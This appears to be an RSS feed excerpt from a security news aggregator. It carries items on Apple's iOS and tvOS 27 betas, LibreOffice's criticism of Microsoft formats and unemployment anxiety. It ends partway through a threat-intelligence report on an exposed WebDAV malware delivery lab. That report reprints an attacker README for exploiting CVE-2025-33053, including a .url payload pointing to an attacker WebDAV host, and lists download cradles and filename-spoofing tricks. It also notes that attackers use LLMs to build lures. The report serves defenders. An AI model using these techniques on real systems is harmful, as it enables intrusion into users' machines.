<description><![CDATA[Apple has released iOS 27 beta 4 for registered developers, continuing its testing cycle before the final update arrives later in 2026. The latest build focuses on interface refinements, Siri changes, AirPods controls, system indexing, accessibility features, and several fixes to Liquid Glass ele...]]></description>
<link>https://tsecurity.de/de/3683052/ios-mac-os/ios-27-beta-everything-you-need-to-know-about-beta-4/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683052/ios-mac-os/ios-27-beta-everything-you-need-to-know-about-beta-4/</guid>
<pubDate>Tue, 21 Jul 2026 10:39:52 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple has released iOS 27 beta 4 for registered developers, continuing its testing cycle before the final update arrives later in 2026. The latest build focuses on interface refinements, Siri changes, AirPods controls, system indexing, accessibility features, and several fixes to Liquid Glass elements.



iOS 27 beta 4 carries build number 24A5390f and arrived on July 20, 2026, alongside new beta versions of iPadOS 27, macOS 27, watchOS 27, tvOS 27, and visionOS 27.



The update follows the first iOS 27 public beta, which became available on July 13. Developer beta 4 is newer than the current public beta, although Apple often releases an updated public build after completing additional testing.



iOS 27 Beta 4 at a Glance



DetailInformationSoftware versioniOS 27 developer beta 4Build number24A5390fRelease dateJuly 20, 2026AvailabilityRegistered developersPublic betaAvailable, but currently on an earlier buildFinal releaseExpected later in 2026Main focusSiri, Liquid Glass, AirPods controls, accessibility, interface fixes



What Is New in iOS 27 Beta 4?



New Siri Splash Screen







Siri receives a refreshed splash screen in beta 4, giving Apple’s redesigned assistant a clearer visual introduction when users open it for the first time.



The interface follows the wider Siri AI design used throughout iOS 27, with brighter visual effects, updated text placement, and stronger links to Apple Intelligence features. Apple says Siri AI will initially launch in English on supported Apple Intelligence devices later this year.



Beta 4 also updates parts of the Siri voice-selection interface. Regional accents and voice choices now appear in a more visual layout, while supported devices display additional personalisation options.



Dark Widgets Have Better Contrast







Apple has adjusted dark widgets to make text, icons, and controls easier to see. Earlier iOS 27 builds sometimes placed dark text or low-contrast elements over transparent widget backgrounds, especially when users selected tinted or dark Home Screen styles.



Beta 4 increases contrast without removing the layered Liquid Glass appearance. The change improves readability on bright wallpapers and on displays with reduced brightness.



One-Tap Paste Gets a Visual Refresh







The One-Tap Paste interface now has an updated appearance when users paste photos or links. The preview card follows the rounded Liquid Glass design more closely and provides a clearer indication of the content that will be inserted.



This change affects situations where an app requests access to copied content, including images, website links, and other supported clipboard data.



Notification Center Wallpaper Cutout Removed



Apple has removed the wallpaper cutout effect that appeared when users swiped down to open Notification Center.



In beta 3, the main subject of certain wallpapers remained visually separated from the background during the swipe animation. Beta 4 returns to a more traditional transition, which reduces visual movement and avoids occasional clipping around people, pets, and objects.



The smoother wallpaper animation introduced earlier remains available, although the floating cutout effect no longer appears.



Lock Screen Shortcut Appearance Restored







Beta 4 reverses an earlier reduction in the Liquid Glass appearance of Lock Screen shortcuts while Light Mode is active.



The flashlight and camera buttons once again use a stronger transparent glass effect, with brighter highlights and more visible depth. Apple continues to adjust these controls because readability changes significantly depending on the wallpaper colour and display mode.



Blur Returns to App Library and Today View



Background blur has returned to the App Library and Today View after being reduced or removed in earlier beta builds.



The restored blur separates icons and widgets from the wallpaper while preserving some background colour. This makes app names, folders, search controls, and widget text easier to read without replacing the transparent design with a fully solid background.



Volume Slider Is More Transparent



The system volume slider now uses a more transparent Liquid Glass design. Users can see more of the underlying content while adjusting media volume through Control Center.



Apple has also refined the slider edges, fill animation, and background layer so the control matches other iOS 27 interface elements.



AirPods Controls Get Liquid Glass Sliders







AirPods controls in Control Center now use redesigned Liquid Glass sliders. The controls appear when compatible AirPods are connected and provide access to supported audio modes and settings.



The layout uses clearer labels, transparent slider tracks, and larger touch areas, making the controls easier to adjust without opening the Settings app.



Adaptive Audio Slider Comes to Control Center



AirPods users can now access the Adaptive Audio slider directly from Control Center. This setting lets users adjust how strongly Adaptive Audio balances environmental sound with active noise control.



The slider provides more control than a simple on-or-off switch, allowing users to choose how much outside sound they want to hear. Available options still depend on the connected AirPods model and installed firmware.



Apple also plans to bring Custom EQ controls to supported AirPods, allowing users to adjust low, mid, and high frequencies.



System Indexing Returns



System indexing has returned in beta 4 after being limited or unavailable for some users in earlier builds.



After installation, an iPhone can temporarily use more battery power and become warmer while it rebuilds search indexes for apps, messages, photos, files, and other content. Search results and Siri suggestions can remain incomplete until this process finishes.



Users should leave the iPhone connected to power and Wi-Fi for several hours after updating, especially when the device contains a large photo library or many installed apps.



Wheelchair Control Renamed to Look to Drive



Apple has renamed the upcoming Wheelchair Control accessibility feature to “Look to Drive.”



The feature uses eye movement and supported hardware to help users control compatible powered wheelchairs. The new name describes the interaction more clearly and separates it from other wheelchair-related accessibility settings.



Because the feature remains under development, its name, supported devices, and availability can change before the public release.



Other Changes Found in Beta 4



The latest beta also includes several smaller additions and adjustments:




Photos includes an option that slightly enlarges near-full-screen images so they fill the display.



Siri settings provide more control over text-preview length.



An accessibility option can keep spoken Siri requests visible as text.



Camera settings include support for selecting ProRes Log 2 on compatible models.



Wi-Fi Assist can be managed more precisely for saved networks.



Automatic Apple TV downloads can save upcoming episodes and remove watched downloads.



Internal files continue to reveal unfinished features across Apple’s operating systems.




An internal README file also appeared inside the tvOS 27 beta 4 Podcasts app package. This appears to be a development file that Apple accidentally included and does not provide a user-facing feature.



iOS 27 Supported iPhones



iOS 27 supports the following iPhone families:



iPhone generationSupported modelsiPhone 17iPhone 17, 17e, Air, 17 Pro, 17 Pro MaxiPhone 16iPhone 16, 16 Plus, 16e, 16 Pro, 16 Pro MaxiPhone 15iPhone 15, 15 Plus, 15 Pro, 15 Pro MaxiPhone 14iPhone 14, 14 Plus, 14 Pro, 14 Pro MaxiPhone 13iPhone 13, 13 mini, 13 Pro, 13 Pro MaxiPhone 12iPhone 12, 12 mini, 12 Pro, 12 Pro MaxiPhone 11iPhone 11, 11 Pro, 11 Pro MaxiPhone SESecond generation and later



Apple confirms that iOS 27 supports the iPhone 11 series and newer models, along with the second-generation iPhone SE and later.



Some Siri AI and Apple Intelligence features require newer hardware. Apple Intelligence support includes the iPhone 15 Pro models, every iPhone 16 model, and later supported devices.



How to Install iOS 27 Beta 4



Registered developers can install the update through the Settings app:




Back up the iPhone using iCloud or a computer.



Open Settings.



Select General.



Tap Software Update.



Open Beta Updates.



Select iOS 27 Developer Beta.



Return to the update screen.



Tap Update Now.




The Apple Account signed in on the iPhone must have access to the developer beta channel.



Public beta users should remain on the iOS 27 Public Beta option unless they specifically need developer builds for testing. Developer releases can contain unfinished features, app compatibility problems, faster battery drain, unexpected restarts, and broken system functions.



Should You Install iOS 27 Beta 4?



Beta 4 brings useful visual corrections and restores several effects that Apple changed during earlier testing. Siri, widgets, Notification Center, App Library, AirPods controls, and system search all receive noticeable attention.



However, this remains pre-release software. Users who depend on their iPhone for banking, work authentication, travel, health devices, or other important tasks should wait for a later public beta or the final release.



Users already running an iOS 27 developer beta should install beta 4 because it includes the latest system fixes and testing changes. After updating, allow time for indexing to complete before judging battery life, heat, search performance, or overall stability.]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Releases tvOS 27 Beta 4: What’s New and How to Install]]></title>
<description><![CDATA[Apple has released tvOS 27 Beta 4 for developers, continuing testing ahead of the software’s public launch later this year. The update carries build number 24J5325d and arrives around two weeks after the third developer beta.



This release mainly focuses on improving stability and fixing proble...]]></description>
<link>https://tsecurity.de/de/3682897/ios-mac-os/apple-releases-tvos-27-beta-4-whats-new-and-how-to-install/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682897/ios-mac-os/apple-releases-tvos-27-beta-4-whats-new-and-how-to-install/</guid>
<pubDate>Tue, 21 Jul 2026 09:09:38 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple has released tvOS 27 Beta 4 for developers, continuing testing ahead of the software’s public launch later this year. The update carries build number 24J5325d and arrives around two weeks after the third developer beta.



This release mainly focuses on improving stability and fixing problems reported in earlier beta versions. Since beta software can contain bugs, users should consider installing it only if they are comfortable testing unfinished software.



How to Install tvOS 27 Beta 4



You can download the latest developer beta directly through the Settings app on a compatible Apple TV.




Turn on your Apple TV and open Settings.



Select System.



Open Software Updates.



Select Beta Updates.



Choose tvOS 27 Developer Beta.



Return to the Software Updates screen.



Select Update Software, followed by Download and Install.




Your Apple TV must use an Apple Account registered with the developer program. Apple now allows users with a free developer account to access developer beta software. Keep the device connected to power and the internet until the installation finishes.



What’s New in tvOS 27 Beta 4?



Apple has not announced any major user-facing additions specifically for tvOS 27 Beta 4. The update appears to concentrate on bug fixes, performance improvements, and preparing existing features for the final release.




Bug fixes and improved stability: Beta 4 should address crashes, interface problems, and other issues discovered during earlier testing.



Smoother system performance: Apple continues to improve app-opening speeds, system animations, and general responsiveness across tvOS 27.



Improved Control Center: tvOS 27 includes a more responsive Control Center, making common settings and controls easier to access.



Redesigned Podcasts app: The Podcasts app receives an updated design that makes browsing shows, episodes, and saved content easier on a television screen.



Faster AirPlay connections: AirPlay connects more quickly when sending content from an iPhone, iPad, or Mac to Apple TV.



Larger text options: New accessibility settings allow users to increase text size across more parts of the tvOS interface.



AppleCare details in Settings: Users can check AppleCare coverage information directly from the Apple TV Settings app.




These features belong to the wider tvOS 27 update and are still being refined through the beta process. Apple may introduce additional adjustments before releasing the stable version.



Users running an earlier tvOS 27 beta should see Beta 4 inside Software Updates. If the update does not appear immediately, restart the Apple TV and check the Beta Updates setting again.



If you’ve already installed the update, let us know your experience in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[LibreOffice Once Again Slams Microsoft For Using 'Lock-In' With Office Files]]></title>
<description><![CDATA[An anonymous reader quotes a report from XDA Developers: One of the founding members of The Document Foundation and handler of LibreOffice's PR and media relations, Italo Vignoli, took to the LibreOffice blog to call out Microsoft's practices with its Office application. The last time we saw Vign...]]></description>
<link>https://tsecurity.de/de/3681703/it-security-nachrichten/libreoffice-once-again-slams-microsoft-for-using-lock-in-with-office-files/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681703/it-security-nachrichten/libreoffice-once-again-slams-microsoft-for-using-lock-in-with-office-files/</guid>
<pubDate>Mon, 20 Jul 2026 19:00:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[An anonymous reader quotes a report from XDA Developers: One of the founding members of The Document Foundation and handler of LibreOffice's PR and media relations, Italo Vignoli, took to the LibreOffice blog to call out Microsoft's practices with its Office application. The last time we saw Vignoli take to the stage, we saw him accusing Euro-Office of being just as bad as Microsoft with its practices. Vignoli's new post focuses entirely on Microsoft's strategy. He says that "the dominant format for office documents" is owned by Microsoft Office, particularly the DOCX, XLSX, and PPTX formats. The problem with these formats, Vignoli states, is that they "belong to Microsoft, are controlled by Microsoft and serve Microsoft's interest." This makes it difficult for other formats to take hold.
 
Vignoli explains his point by stating that open document formats don't hide anything. People developing their own apps can use the format to both read and write the document format with perfection. Meanwhile, proprietary formats such as Microsoft's "contain undocumented features, private extensions or behaviors" that developers can't fully adapt to. That means that a presentation that looks great in the source software comes out strange when rebuilt in a third-party app. This, Vignoli says, is a huge issue [...]. Vignoli claims this creates a huge issue with document preservation. If a Word document was saved in one version of Office, will it still be readable in 20 years? Microsoft has added legacy support to its software before, but the company can one day decide that it's not worth the effort anymore and cut it out. When that happens, you have old documents that are either jumbled or unable to be opened at all.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=LibreOffice+Once+Again+Slams+Microsoft+For+Using+'Lock-In'+With+Office+Files%3A+https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F07%2F20%2F0431217%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F07%2F20%2F0431217%2Flibreoffice-once-again-slams-microsoft-for-using-lock-in-with-office-files%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://news.slashdot.org/story/26/07/20/0431217/libreoffice-once-again-slams-microsoft-for-using-lock-in-with-office-files?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Welcome to the age of extreme job anxiety | Zoe Williams]]></title>
<description><![CDATA[Young, old, midlife – whatever your age, gender or sector, the unemployment crisis is hitting us all. The only way through it is togetherThe personal experience of long-term unemployment is one people rarely share, for completely understandable reasons. There’s a bit of superstition that saying i...]]></description>
<link>https://tsecurity.de/de/3681663/ai-nachrichten/welcome-to-the-age-of-extreme-job-anxiety-zoe-williams/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681663/ai-nachrichten/welcome-to-the-age-of-extreme-job-anxiety-zoe-williams/</guid>
<pubDate>Mon, 20 Jul 2026 18:53:47 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Young, old, midlife – whatever your age, gender or sector, the unemployment crisis is hitting us all. The only way through it is together</p><p>The personal experience of long-term unemployment is one people rarely share, for completely understandable reasons. There’s a bit of superstition that saying it out loud will bed it in, and there’s always one person in 100 who will choose to explain away the misfortune as your own personal failing.</p><p>Even if they’re clearly in the grip of superstitions of their own – trying to ward off your fate for themselves – it’s hard not to take criticism personally in such a personal situation. The conventions of human interaction are that you shouldn’t really mention a cloud unless you have a silver lining handy. For instance: after the financial crash in 2008, I remember hearing a couple interviewed on the radio who had both been made redundant when the private school they worked for closed down. After describing months of fruitless job applications, the wife ended saying they’d been able to spend much more time in their allotment, and she reckoned their rocket yield alone had saved them a small fortune. That, I thought, is a remarkable and yet probably universal commitment to looking on the bright side.</p> <a href="https://www.theguardian.com/commentisfree/2026/jul/20/welcome-to-the-age-of-extreme-job-anxiety">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[From a Single Alert to 1,000 Files: Inside an Exposed WebDAV Malware Delivery Lab]]></title>
<description><![CDATA[Executive summaryAn MDR alert recently led our team to an exposed server that was doing more than hosting payloads. It was functioning as a fully operational malware delivery lab. Containing over 1,000 artifacts, the infrastructure served as a QA hub where attackers systematically tested delivery...]]></description>
<link>https://tsecurity.de/de/3681303/it-security-nachrichten/from-a-single-alert-to-1000-files-inside-an-exposed-webdav-malware-delivery-lab/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681303/it-security-nachrichten/from-a-single-alert-to-1000-files-inside-an-exposed-webdav-malware-delivery-lab/</guid>
<pubDate>Mon, 20 Jul 2026 15:53:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Executive summary</h2><p><span>An MDR alert recently led our team to an exposed server that was doing more than hosting payloads. It was functioning as a fully operational malware delivery lab. Containing over 1,000 artifacts, the infrastructure served as a QA hub where attackers systematically tested delivery paths, social engineering lures, and WebDAV execution methods.</span></p><p><span>Our analysis reveals an interesting shift in adversary operations: attackers are adopting generative AI to move beyond individual exploits and operate like modern software product teams. By leveraging LLMs for rapid lure generation, detailed README documentation, and automated testing, they are significantly accelerating their development cycle.</span></p><p><span>This incident underscores the imperative of preemptive security. By unifying exposure management with detection and response, we did not just catch a single campaign; we gained visibility into the attacker’s entire delivery pipeline. Although the server hosted many malware samples, the more interesting find was the view into the attacker’s workflow. The exposed infrastructure showed how the operator tested delivery paths, packaged lures, staged payloads, and monitored delivery activity. All of it with the help of generative AI.</span></p><h2>Introduction: From MDR alert to attacker infrastructure</h2><p><span>The investigation started with an MDR alert after a user executed a file pulled from a WebDAV server using </span><span><span data-type="inlineCode">rundll32.exe</span></span><span>. Telemetry showed the WebClient service starting, followed by </span><span><span data-type="inlineCode">davclnt.dll</span></span><span> reaching out to a remote host to retrieve content.</span></p><p><span>That initial hit led us to dig deeper into the delivery setup, which is how we ended up finding an exposed directory. It quickly became clear to us that the server wasn't just hosting files, but also was used as an active malware testing and delivery hub. Alongside payloads, we found bulk-generated shortcut lures, URL-based execution tests, ClickFix pages, WebDAV initialization scripts, droppers, spoofed filenames, and operator notes.</span></p><p><span>At a high level, the 1,048 files clustered as follows:</span></p><p><span></span></p><table><colgroup data-width="1566"><col><col><col></colgroup><tbody><tr><td><p><span><strong>Category</strong></span></p></td><td><p><span><strong>Files</strong></span></p></td><td><p><span><strong>Functions and discoveries</strong></span></p></td></tr><tr><td><p><span>LNK delivery launchers</span></p></td><td><p><span>453</span></p></td><td><p><span>Bulk-generated shortcut lures using document themes, spoofed filenames, fake icons, and multiple execution paths</span></p></td></tr><tr><td><p><span>Filename-spoofing QA</span></p></td><td><p><span>236</span></p></td><td><p><span>Tests for Unicode, double-extension, padding, and browser/Explorer rendering behavior</span></p></td></tr><tr><td><p><span>URL/LOLBin execution tests</span></p></td><td><p><span>146</span></p></td><td><p><span>Experiments with signed Windows binaries, remote working directories, and WebDAV-style execution</span></p></td></tr><tr><td><p><span>Encrypted droppers</span></p></td><td><p><span>89</span></p></td><td><p><span>Staged second-stage payloads and installer-style packages</span></p></td></tr><tr><td><p><span>Alternative execution containers</span></p></td><td><p><span>24</span></p></td><td><p><span><span data-type="inlineCode">search-ms</span></span><span>, </span><span><span data-type="inlineCode">library-ms</span></span><span>, </span><span><span data-type="inlineCode">.cpl</span></span><span>, and related delivery containers</span></p></td></tr><tr><td><p><span>Payload stubs and spoofed executables</span></p></td><td><p><span>21</span></p></td><td><p><span>Smaller loaders, decoys, and renamed binaries</span></p></td></tr><tr><td><p><span>WebDAV scripts</span></p></td><td><p><span>17</span></p></td><td><p><span>Scripts intended to make WebDAV delivery more reliable on Windows systems</span></p></td></tr><tr><td><p><span>Builder and operator notes</span></p></td><td><p><span>10</span></p></td><td><p><span><span data-type="inlineCode">README</span></span><span> files, test reports, mappings, and generation scripts</span></p></td></tr><tr><td><p><span>ClickFix HTML lures</span></p></td><td><p><span>9</span></p></td><td><p><span>Browser-based social-engineering pages instructing users to run commands</span></p></td></tr><tr><td><p><span>Miscellaneous files</span></p></td><td><p><span>6</span></p></td><td><p><span>Included documentation for the actor’s WebDAV delivery/admin panel</span></p></td></tr></tbody></table><p><span><em>Table 1: Breakdown of files recovered from the attacker’s delivery workspace</em></span></p><h2><span>Technical analysis and observed attacker behavior</span></h2><h3>Attackers testing like a product team</h3><p><span>The open directory exposed the attacker’s payloads and testing process. The collection varied by function: some folders stored payloads, while others isolated individual delivery methods, including WebDAV, UNC paths, </span><span><span data-type="inlineCode">search-ms</span></span><span>, </span><span><span data-type="inlineCode">library-ms</span></span><span>, Control Panel items, and trusted Windows binaries. Several directories appeared to be QA areas for testing how lures are rendered in browsers and Windows Explorer. These tests included Unicode spoofing, right-to-left override (RTLO) characters, double extensions, and padding tricks used to make executables look like documents.</span></p><p><span>The directory also contained several README files. Their structure and phrasing suggested they may have been generated with LLMs. Some folders were named </span><span><span data-type="inlineCode">testik</span></span><span> and </span><span><span data-type="inlineCode">testik2</span></span><span>, a Russian diminutive form of “test”.</span></p><p><span></span></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltbc6d4a9f8e6c1e40/6a5e1283f480d89435286a73/testing-files-subfolders.png" alt="testing-files-subfolders.png" caption="Figure 1: Snippet of one of many subfolders containing testing files." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="testing-files-subfolders.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltbc6d4a9f8e6c1e40/6a5e1283f480d89435286a73/testing-files-subfolders.png" data-sys-asset-uid="bltbc6d4a9f8e6c1e40" data-sys-asset-filename="testing-files-subfolders.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 1: Snippet of one of many subfolders containing testing files." data-sys-asset-alt="testing-files-subfolders.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 1: Snippet of one of many subfolders containing testing files.</figcaption></div></figure><p>⠀</p><p><span>Looking at the artifacts from the open directory, we saw that the attacker was testing some specific CVEs.</span></p><p><span></span></p><table><colgroup data-width="1901"><col><col><col></colgroup><tbody><tr><td><p><span><strong>CVE</strong></span></p></td><td><p><span><strong>Observed samples</strong></span></p></td><td><p><span><strong>Short description</strong></span></p></td></tr><tr><td><p><span>CVE-2025-33053</span></p></td><td><p><span>11</span></p></td><td><p><span>Windows Internet Shortcut flaw involving external control of a file name or path, allowing code execution over a network. (</span><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-33053?utm_source=chatgpt.com" target="_blank"><span>nvd.nist.gov</span></a><span>)</span></p></td></tr><tr><td><p><span>CVE-2026-21513</span></p></td><td><p><span>4</span></p></td><td><p><span>MSHTML Framework security feature bypass caused by protection-mechanism failure. (</span><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-21513?utm_source=chatgpt.com" target="_blank"><span>nvd.nist.gov</span></a><span>)</span></p></td></tr><tr><td><p><span>CVE-2025-24054</span></p></td><td><p><span>1</span></p></td><td><p><span>Windows NTLM spoofing issue where crafted file/path handling can trigger outbound authentication and leak NTLM material; observed tradecraft commonly involved </span><span><span data-type="inlineCode">.library-ms</span></span><span> files. (</span><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-24054?utm_source=chatgpt.com" target="_blank"><span>nvd.nist.gov</span></a><span>)</span></p></td></tr></tbody></table><p><span><em>Table 2: CVE references observed in the exposed directory.</em></span></p><p></p><p><span>The most developed test set focused on </span><span>CVE-2025-33053,</span><span> the working-directory abuse technique reported by Check Point in its analysis of Stealth Falcon activity. It appears as though the threat was trying to reproduce or adapt the reported technique with the help from README that appears to have been generated with LLMs. At a high level, the technique abuses </span><span><span data-type="inlineCode">.url</span></span><span> shortcut behavior to launch a legitimate signed Windows binary while setting its working directory to an attacker-controlled WebDAV share. In the original reporting, the binary was </span><span><span data-type="inlineCode">iediagcmd.exe</span></span><span>, an Internet Explorer diagnostics utility. When invoked, that utility launches several child processes by name. If the working directory points to a remote WebDAV location controlled by the attacker, Windows may resolve those child process names from the remote share instead of the expected local system directory.</span></p><p><span>The README files closely mirrored this logic. They called out </span><span><span data-type="inlineCode">iediagcmd.exe</span></span><span> as the preferred binary, referenced the same WebDAV working-directory pattern described in the Stealth Falcon reporting, and preserved the previously reported </span><span><span data-type="inlineCode">summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr</span></span><span> path as an example. So if you ever wonder who reads your blogs, it seems like attackers do.</span></p><p></p><pre language="c">CVE-2025-33053 (Stealth Falcon APT) - Test Setup
=====================================================

WHAT IS THIS?
This .url file abuses iediagcmd.exe to execute a file from WebDAV
WITHOUT any security warnings. Zero alerts!

HOW IT WORKS:
1. .url file contains URL=path to iediagcmd.exe (legitimate IE tool)
2. .url sets WorkingDirectory to WebDAV share
3. When clicked: iediagcmd.exe starts with cwd = WebDAV
4. iediagcmd internally calls: route.exe, ipconfig.exe, netsh.exe, ping.exe
5. Process.Start() searches in working directory FIRST
6. WebClient auto-starts when accessing WebDAV
7. Attacker's route.exe (renamed putty.exe) runs from WebDAV
8. NO SmartScreen, NO MoTW warnings!

REQUIREMENTS TO MAKE TEST WORK:
================================

1. iediagcmd.exe MUST exist on victim machine
   Path: C:\Program Files\Internet Explorer\iediagcmd.exe
   - Win10 (1607-22H2):        YES
   - Win11 21H2/22H2/23H2:     usually YES
   - Win11 24H2 (IE removed):  NO (this is why your F-series failed!)
   - Check on victim:
     dir "C:\Program Files\Internet Explorer\iediagcmd.exe"

2. WebDAV MUST have file named EXACTLY "route.exe"
   NOT putty.exe! iediagcmd will only execute these names:
   - route.exe
   - ipconfig.exe
   - netsh.exe
   - ping.exe
   On your WebDAV server, RENAME putty.exe to route.exe
   Place at: \\TA_C2\Downloads\route.exe

3. Microsoft patch from June 2025 MUST NOT be installed
   Check: Get-HotFix | Where-Object {$_.HotFixID -match "KB5060"}
   If patched, exploit fails.

ALTERNATIVE LOLBINS (if iediagcmd.exe missing):
================================================
F4_CustomShellHost_explorer.url - uses CustomShellHost.exe
   (mentioned in CheckPoint report - spawns explorer.exe)
F5_OfficeC2RClient_alternative.url - uses Office C2R client
   (if Office is installed)

REAL ATTACK PAYLOAD WAS:
[InternetShortcut]
URL=C:\Program Files\Internet Explorer\iediagcmd.exe
WorkingDirectory=\\summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr
ShowCommand=7
IconIndex=13
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Modified=20F06BA06D07BD014D</pre><p language="html"><span><em>Figure 2: Contents of README, likely generated by LLM, found in the exposed directory.</em></span><em><br></em>⠀</p><p><span>The testing approach was methodical and included the below:</span></p><p><span><strong>Transports</strong></span><span>: WebDAV over </span><span><span data-type="inlineCode">@80</span></span><span> and </span><span><span data-type="inlineCode">@ssl@443</span></span></p><p><span><strong>Path formats</strong></span><span>: </span><span><span data-type="inlineCode">DavWWWRoot</span></span><span> vs. plain UNC</span></p><p><span><strong>Fallback LOLBins</strong></span><span>: </span><span><span data-type="inlineCode">CustomShellHost.exe</span></span><span>, </span><span><span data-type="inlineCode">OfficeC2RClient.exe</span></span><span>, and many more for hosts where </span><span><span data-type="inlineCode">iediagcmd.exe</span></span><span> is absent</span></p><p><span><strong>Download cradles</strong></span><span>: </span><span><span data-type="inlineCode">bitsadmin /transfer</span></span><span>, </span><span><span data-type="inlineCode">certutil -urlcache -split -f</span></span><span>, </span><span><span data-type="inlineCode">mshta http(s)://…</span></span></p><p><span><strong>Shortcut launchers</strong></span><span>: PowerShell </span><span><span data-type="inlineCode">IEX (New-Object Net.WebClient).DownloadString(...)</span></span><span>, hidden/minimized windows</span></p><p><span><strong>Explorer containers</strong></span><span>: </span><span><span data-type="inlineCode">search-ms:</span></span><span> queries and </span><span><span data-type="inlineCode">.library-ms</span></span><span> files exposing remote payloads</span></p><p><span><strong>ClickFix pages</strong></span><span>: relying on user copy/paste execution</span></p><p><span><strong>Filename spoofing</strong></span><span>: RTLO (U+202E), double extensions, and whitespace padding before </span><span><span data-type="inlineCode">.exe</span></span><span> / </span><span><span data-type="inlineCode">.scr</span></span></p><h2>The lure factory</h2><p><span>The lure themes were broad and familiar: invoices, privacy policies, contracts, signed documents, finance reports, Labcorp-themed reports, salary statements, and notification policies.</span></p><p><span>Judging by the lure themes, we concluded that the attacker is targeting enterprise Windows users who are likely to open routine documents.</span></p><p><span>The threat actor also invested heavily in making files look “safe”. Many lure names mimicked PDFs or office documents. Others used fake icons associated with common software. Some attempted to hide arguments or launch windows minimized. Clearly, the goal was to make malicious execution feel like ordinary document handling.</span></p><p><span>The directory also contained ClickFix HTML lures. These pages mimicked familiar services, application errors, and document-access workflows to convince users to copy and run a command. The lures were disguised as Cloudflare verification checks, Adobe or Word document errors, Microsoft login pages, Chrome update messages, and Discord-themed notices. Filenames such as </span><span><span data-type="inlineCode">Fix_Connection_Error.html</span></span><span>, </span><span><span data-type="inlineCode">Update_Required.html</span></span><span>, </span><span><span data-type="inlineCode">Secure_Document_Access.html</span></span><span>, </span><span><span data-type="inlineCode">Verification_Failed.html</span></span><span>, and </span><span><span data-type="inlineCode">Open_Document_Instructions.html</span></span><span> show how the actor repackaged the same execution pattern under different social-engineering themes.</span></p><p><span>The commands typically launched PowerShell to fetch remote content, used </span><span><span data-type="inlineCode">cmd.exe</span></span><span> to open payloads from WebDAV or UNC paths, or used utilities like </span><span><span data-type="inlineCode">rundll32</span></span><span> and </span><span><span data-type="inlineCode">mshta</span></span><span> to proxy execution. Many referenced attacker-controlled paths, temporary directories, hidden windows, or encoded arguments to reduce visibility.</span></p><h2>The payload chains </h2><p><span>The exposed directory contained many payloads, but we did not reverse every binary in the collection. We initially started with reverse engineering, but after analyzing several chains, we found repeated packaging patterns and suspected that some staged files may have led to the same or closely related final payloads.</span></p><p><span>We therefore shifted from exhaustive reverse engineering to triage. We reviewed several files, including </span><span><span data-type="inlineCode">DlrtyGames</span></span><span>, </span><span><span data-type="inlineCode">CursorSetup</span></span><span>, </span><span><span data-type="inlineCode">ReportFinal.rsc.pdf</span></span><span>, </span><span><span data-type="inlineCode">ReportFina.exe</span></span><span> and </span><span><span data-type="inlineCode">pdfgear_setup_v2.1.16.exe</span></span><span>, and prioritized payloads that either represented distinct delivery approaches or were tied to observed campaign activity.</span></p><p><span>Our main focus became the most commonly delivered file in the most recent CURP campaign, based on artifacts we found in cPanel. This gave us the clearest link between the exposed delivery infrastructure and active campaign activity. </span></p><p><span>This scope is intentional. This post is about the attacker’s delivery workflow, not a full reverse-engineering report for every sample in the directory. We use the payload analysis to show how the operator packaged lures, staged loaders, tested execution methods, and moved from delivery to final payload execution. </span></p><h2><span>Case study 1: CURP campaign targeting Mexico</span></h2><p><span>Our MDR alert began with a user who landed on the phishing site </span><span><span data-type="inlineCode">www[.]gobf[.]mx</span></span><span>, a typosquat impersonating the Mexican government's CURP (Clave Única de Registro de Población) national-ID lookup service at </span><a href="https://www.gob.mx/curp/" target="_blank"><span>https://www.gob.mx/curp/</span></a><span>. The phishing site presented a convincing single-page application that asked victims to enter CURP identity data and retrieve an official record.</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc4d4e8c3f881bba8/6a5e14ba2ee1c1e5373aea06/Phishing-page-impersonating-Mexico%E2%80%99s-CURP-lookup-service.png" alt="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" caption="Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic." class="embedded-asset" content-type-uid="sys_assets" type="asset" 